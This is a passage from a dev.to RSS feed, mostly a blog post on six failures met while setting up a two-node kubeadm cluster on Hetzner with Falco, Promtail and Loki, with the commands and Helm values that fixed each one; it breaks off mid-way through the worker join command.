&lt;p&gt;Three more attacks follow before then: privileged container escape (T1611), service account token abuse (T1528), and kubectl exec into a running pod (T1609). All documented with the same evidence format — MITRE mapping, Falco alerts, Loki timeline, Grafana screenshots.&lt;/p&gt;

&lt;p&gt;The full project code, kube-bench results, Falco alert captures, and Grafana dashboard JSON exports are in the repo: &lt;a href="https://github.com/chrisazzo/k8s-soc-foundation" rel="noopener noreferrer"&gt;github.com/chrisazzo/k8s-soc-foundation&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm building a DevSecOps portfolio targeting AI Security Architect contract work. Follow for Attacks 2–4, the full hardening post, and the Project 3 prevention build.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/chrisazzo/the-six-things-that-broke-during-my-kubeadm-setup-on-hetzner-and-how-i-fixed-them-p7c"&gt;← Previous: The Six Things That Broke During My kubeadm Setup on Hetzner — and How I Fixed Them&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/chrisazzo/i-escaped-a-privileged-kubernetes-container-heres-what-falco-saw-1cbg"&gt;Next: Attack 2 — Privileged Container Escape →&lt;/a&gt;&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>security</category>
      <category>devops</category>
      <category>falco</category>
    </item>
    <item>
      <title>The Six Things That Broke During My kubeadm Setup on Hetzner — and How I Fixed Them</title>
      <dc:creator>Christopher Azzopardi</dc:creator>
      <pubDate>Sat, 30 May 2026 05:46:47 +0000</pubDate>
      <link>https://dev.to/chrisazzo/the-six-things-that-broke-during-my-kubeadm-setup-on-hetzner-and-how-i-fixed-them-p7c</link>
      <guid>https://dev.to/chrisazzo/the-six-things-that-broke-during-my-kubeadm-setup-on-hetzner-and-how-i-fixed-them-p7c</guid>
      <description>&lt;p&gt;I set up a kubeadm cluster on Hetzner Cloud last week.&lt;/p&gt;

&lt;p&gt;It broke in 6 different ways before it worked.&lt;/p&gt;

&lt;p&gt;Here's every error, every fix, and the exact commands that solved each one.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; conntrack not installed, private NIC named &lt;code&gt;enp7s0&lt;/code&gt; not &lt;code&gt;eth1&lt;/code&gt;, Falcosidekick nil pointer crash on missing secret, fluent-bit chart deprecated (use Promtail), Loki distributed defaults breaking on a two-node cluster (use SingleBinary + emptyDir), cpx21/cx32 unavailable in nbg1 (used cpx32/cpx22). All fixed. Commands below.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Setup
&lt;/h2&gt;

&lt;p&gt;Two-node kubeadm cluster on Hetzner Cloud (&lt;code&gt;nbg1&lt;/code&gt; region):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Control plane: &lt;code&gt;cpx32&lt;/code&gt; — 4 vCPU, 8GB RAM, Ubuntu 22.04&lt;/li&gt;
&lt;li&gt;Worker node: &lt;code&gt;cpx22&lt;/code&gt; — 3 vCPU, 4GB RAM, Ubuntu 22.04&lt;/li&gt;
&lt;li&gt;Private network enabled (Hetzner Cloud Networks)&lt;/li&gt;
&lt;li&gt;CNI: Flannel&lt;/li&gt;
&lt;li&gt;Goal: foundation for a Kubernetes security detection stack — Falco, Loki, Grafana, Trivy Operator, kube-bench&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Break 1 — The Node Types I Wanted Didn't Exist
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What happened
&lt;/h3&gt;

&lt;p&gt;I planned around &lt;code&gt;cpx21&lt;/code&gt; (control plane) and &lt;code&gt;cx32&lt;/code&gt; (worker). When I went to create them in &lt;code&gt;nbg1&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Error: server type cpx21 is not available in location nbg1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Not deprecated. Not removed. Just not available in that datacentre at that moment.&lt;/p&gt;

&lt;h3&gt;
  
  
  The fix
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check availability before planning&lt;/span&gt;
hcloud server-type list | &lt;span class="nb"&gt;grep &lt;/span&gt;cpx
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Went one tier up: &lt;code&gt;cpx32&lt;/code&gt; and &lt;code&gt;cpx22&lt;/code&gt;. Slightly more expensive but available immediately.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Lesson:&lt;/strong&gt; Hetzner inventory varies by location and changes without notice. Always run &lt;code&gt;hcloud server-type list&lt;/code&gt; filtered by your target region before committing to a server type in your Terraform or scripts.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Break 2 — conntrack Was Missing on Both Nodes
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What happened
&lt;/h3&gt;

&lt;p&gt;First &lt;code&gt;kubeadm init&lt;/code&gt; attempt on the control plane:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;[preflight] Running pre-flight checks
error execution phase preflight: [preflight] Some fatal errors occurred:
    [ERROR FileNotFound]: /usr/sbin/conntrack not found
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;conntrack&lt;/code&gt; handles network connection tracking and is required for kube-proxy. Not installed by default on Hetzner's Ubuntu 22.04 images. Not mentioned clearly in the official kubeadm docs.&lt;/p&gt;

&lt;h3&gt;
  
  
  The fix
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;apt-get &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; conntrack
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Add this to your node provisioning script before you ever run kubeadm:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;apt-get update
apt-get &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  apt-transport-https &lt;span class="se"&gt;\&lt;/span&gt;
  ca-certificates &lt;span class="se"&gt;\&lt;/span&gt;
  curl &lt;span class="se"&gt;\&lt;/span&gt;
  conntrack &lt;span class="se"&gt;\&lt;/span&gt;
  socat &lt;span class="se"&gt;\&lt;/span&gt;
  ipset
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Lesson:&lt;/strong&gt; &lt;code&gt;conntrack&lt;/code&gt; is missing from Hetzner's Ubuntu default image and the kubeadm docs don't mention it clearly. Add it to every node bootstrap script before running anything else.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Break 3 — The Private Network Interface Wasn't eth1
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What happened
&lt;/h3&gt;

&lt;p&gt;Every tutorial, Stack Overflow answer, and blog post assumes Hetzner's private NIC is named &lt;code&gt;eth1&lt;/code&gt;. On these nodes it wasn't:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ip addr show
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;1: lo: &amp;lt;LOOPBACK&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="gp"&gt;2: eth0: &amp;lt;BROADCAST&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;inet 5.x.x.x/32       ← public interface
&lt;span class="gp"&gt;3: enp7s0: &amp;lt;BROADCAST&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;inet 10.0.0.2/24    ← private interface
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The private NIC was &lt;code&gt;enp7s0&lt;/code&gt;. This caused two downstream problems:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;kubeadm advertised the public IP for the API server — worker joins routed over the public internet&lt;/li&gt;
&lt;li&gt;Flannel defaulted to the public interface for pod-to-pod traffic&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  The fix
&lt;/h3&gt;

&lt;p&gt;Find your actual interface name first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ip route | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"10.0.0"&lt;/span&gt; | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $3}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For &lt;code&gt;kubeadm init&lt;/code&gt;, explicitly set the advertise address and node IP:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubeadm init &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--apiserver-advertise-address&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.0.0.2 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--pod-network-cidr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.244.0.0/16 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--node-ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.0.0.2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For Flannel, patch the manifest to specify the interface:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# In kube-flannel.yml, under kube-flannel container args:&lt;/span&gt;
&lt;span class="na"&gt;args&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;--ip-masq&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;--kube-subnet-mgr&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;--iface=enp7s0&lt;/span&gt;    &lt;span class="c1"&gt;# Add this line&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For the worker node, set the node IP before joining:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"KUBELET_EXTRA_ARGS=--node-ip=10.0.0.3"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/default/kubelet
systemctl daemon-reload
systemctl restart kubelet
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Lesson:&lt;/strong&gt; Never assume &lt;code&gt;eth1&lt;/code&gt;. Run &lt;code&gt;ip addr show&lt;/code&gt; on your Hetzner nodes before planning your networking. The private NIC name depends on the server type and can change.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Break 4 — The fluent-bit Helm Chart Was Deprecated
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What happened
&lt;/h3&gt;

&lt;p&gt;My original logging plan used fluent-bit. I added the Helm repo and ran the install:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Error: chart "fluent-bit" not found in stable repository
WARNING: This chart is deprecated
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;stable/fluent-bit&lt;/code&gt; chart was deprecated and the ecosystem had moved to Promtail as the standard Loki log collector.&lt;/p&gt;

&lt;h3&gt;
  
  
  The fix
&lt;/h3&gt;

&lt;p&gt;Switch to Promtail — purpose-built for Loki with better Kubernetes metadata enrichment:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;helm repo add grafana https://grafana.github.io/helm-charts
helm repo update

helm &lt;span class="nb"&gt;install &lt;/span&gt;promtail grafana/promtail &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--namespace&lt;/span&gt; monitoring &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--set&lt;/span&gt; config.clients[0].url&lt;span class="o"&gt;=&lt;/span&gt;http://loki:3100/loki/api/v1/push
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Promtail runs as a DaemonSet, picks up pod logs automatically via the Kubernetes API, and enriches every line with namespace, pod name, container name, and node name.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Lesson:&lt;/strong&gt; Use Promtail over fluent-bit for Loki pipelines. Tighter integration, actively maintained, and Kubernetes metadata enrichment works out of the box with zero configuration.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Break 5 — Falcosidekick Went Into CrashLoopBackOff
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What happened
&lt;/h3&gt;

&lt;p&gt;Falco installed cleanly. Falcosidekick — the component that routes Falco alerts to Slack — did not:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl get pods &lt;span class="nt"&gt;-n&lt;/span&gt; falco
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;NAME                          READY   STATUS             RESTARTS   AGE
falco-abcd1                   1/1     Running            0          4m
falcosidekick-xyz99           0/1     CrashLoopBackOff   6          4m
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl logs falcosidekick-xyz99 &lt;span class="nt"&gt;-n&lt;/span&gt; falco
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;panic: runtime error: invalid memory address or nil pointer dereference
error: failed to load configuration:
SLACK_WEBHOOKURL is required when Slack output is enabled
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The webhook URL wasn't being passed through correctly from Helm values. A nil pointer in config loading caused a crash rather than a clean validation error.&lt;/p&gt;

&lt;h3&gt;
  
  
  The fix
&lt;/h3&gt;

&lt;p&gt;Create the Slack webhook URL as a Kubernetes secret:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl create secret generic falcosidekick-secrets &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--from-literal&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;slackWebhookUrl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"https://hooks.slack.com/services/YOUR/WEBHOOK/URL"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-n&lt;/span&gt; falco
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reference it in Helm values using &lt;code&gt;existingSecret&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# falcosidekick-values.yaml&lt;/span&gt;
&lt;span class="na"&gt;config&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;slack&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;webhookurl&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;
    &lt;span class="na"&gt;minimumpriority&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;notice"&lt;/span&gt;
  &lt;span class="na"&gt;existingSecret&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;falcosidekick-secrets"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;helm upgrade &lt;span class="nt"&gt;--install&lt;/span&gt; falcosidekick falcosecurity/falcosidekick &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--namespace&lt;/span&gt; falco &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-f&lt;/span&gt; falcosidekick-values.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pod came up clean. First Slack alert arrived within 30 seconds.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Lesson:&lt;/strong&gt; Falcosidekick config errors crash rather than validate gracefully. Always put webhook URLs in a Kubernetes secret and reference &lt;code&gt;existingSecret&lt;/code&gt; in Helm values — cleaner and avoids the nil pointer crash entirely.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Break 6 — Loki Refused to Start on a Two-Node Cluster
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What happened
&lt;/h3&gt;

&lt;p&gt;This was the most time-consuming of the six. Loki's default Helm chart assumes a distributed deployment with multiple replicas, persistent volumes, a gateway component, and a caching layer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl get pods &lt;span class="nt"&gt;-n&lt;/span&gt; monitoring
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;NAME                  READY   STATUS             RESTARTS   AGE
loki-backend-0        0/1     Pending            0          8m
loki-read-0           0/1     Pending            0          8m
loki-write-0          0/1     Pending            0          8m
loki-gateway-xyz      0/1     CrashLoopBackOff   4          8m
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The pending pods were waiting for PVCs that couldn't bind — no storage class configured. The gateway crashed because the backend wasn't ready. Classic dependency deadlock.&lt;/p&gt;

&lt;h3&gt;
  
  
  The fix
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;SingleBinary&lt;/code&gt; deployment mode — Loki as a single process, no distributed components, no PVC required:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# loki-values.yaml&lt;/span&gt;
&lt;span class="na"&gt;loki&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;commonConfig&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;replication_factor&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
  &lt;span class="na"&gt;storage&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;filesystem&lt;/span&gt;
  &lt;span class="na"&gt;schemaConfig&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;configs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;2024-01-01"&lt;/span&gt;
        &lt;span class="na"&gt;store&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tsdb&lt;/span&gt;
        &lt;span class="na"&gt;object_store&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;filesystem&lt;/span&gt;
        &lt;span class="na"&gt;schema&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;v13&lt;/span&gt;
        &lt;span class="na"&gt;index&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;prefix&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;loki_index_&lt;/span&gt;
          &lt;span class="na"&gt;period&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;24h&lt;/span&gt;

&lt;span class="na"&gt;deploymentMode&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SingleBinary&lt;/span&gt;

&lt;span class="na"&gt;singleBinary&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;replicas&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
  &lt;span class="na"&gt;persistence&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;enabled&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
  &lt;span class="na"&gt;extraVolumes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;loki-data&lt;/span&gt;
      &lt;span class="na"&gt;emptyDir&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{}&lt;/span&gt;
  &lt;span class="na"&gt;extraVolumeMounts&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;loki-data&lt;/span&gt;
      &lt;span class="na"&gt;mountPath&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/var/loki&lt;/span&gt;

&lt;span class="na"&gt;read&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;replicas&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;replicas&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="na"&gt;backend&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;replicas&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="na"&gt;gateway&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;enabled&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
&lt;span class="na"&gt;chunksCache&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;enabled&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
&lt;span class="na"&gt;resultsCache&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;enabled&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
&lt;span class="na"&gt;lokiCanary&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;enabled&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
&lt;span class="na"&gt;test&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;enabled&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;helm upgrade &lt;span class="nt"&gt;--install&lt;/span&gt; loki grafana/loki &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--namespace&lt;/span&gt; monitoring &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-f&lt;/span&gt; loki-values.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl get pods &lt;span class="nt"&gt;-n&lt;/span&gt; monitoring
&lt;span class="c"&gt;# NAME     READY   STATUS    RESTARTS   AGE&lt;/span&gt;
&lt;span class="c"&gt;# loki-0   1/1     Running   0          45s&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Lesson:&lt;/strong&gt; For Loki on small clusters (under 5 nodes, no storage class), &lt;code&gt;deploymentMode: SingleBinary&lt;/code&gt; with &lt;code&gt;emptyDir&lt;/code&gt; persistence is the correct starting point. The distributed defaults are built for production scale — not a two-node homelab cluster.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Full Working Install Order
&lt;/h2&gt;

&lt;p&gt;&lt;/p&gt;
  Click to expand — complete install sequence
  &lt;br&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Step 1 — Node prerequisites (run on BOTH nodes)&lt;/span&gt;
apt-get update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  conntrack socat ipset curl

&lt;span class="c"&gt;# Step 2 — Container runtime + kubeadm/kubelet/kubectl&lt;/span&gt;
&lt;span class="c"&gt;# (standard Ubuntu kubeadm installation docs)&lt;/span&gt;

&lt;span class="c"&gt;# Step 3 — Find your private NIC name&lt;/span&gt;
ip addr show
&lt;span class="c"&gt;# Note the interface name next to your 10.x.x.x address&lt;/span&gt;

&lt;span class="c"&gt;# Step 4 — kubeadm init (control plane only)&lt;/span&gt;
kubeadm init &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--apiserver-advertise-address&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.0.0.2 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--pod-network-cidr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10.244.0.0/16

&lt;span class="c"&gt;# Step 5 — Flannel with explicit interface&lt;/span&gt;
&lt;span class="c"&gt;# Download manifest, add --iface=enp7s0 to container args, apply&lt;/span&gt;
kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; kube-flannel-enp7s0.yml

&lt;span class="c"&gt;# Step 6 — Worker node prep (run on worker)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"KUBELET_EXTRA_ARGS=--node-ip=10.0.0.3"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/default/kubelet
systemctl daemon-reload &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; systemctl restart kubelet

&lt;span class="c"&gt;# Step 7 — Worker join (run on worker)&lt;/span&gt;
kubeadm &lt;span class="nb"&gt;join &lt;/span&gt;10.0.0.2:6443 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--token&lt;/span&gt; &amp;lt;token&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
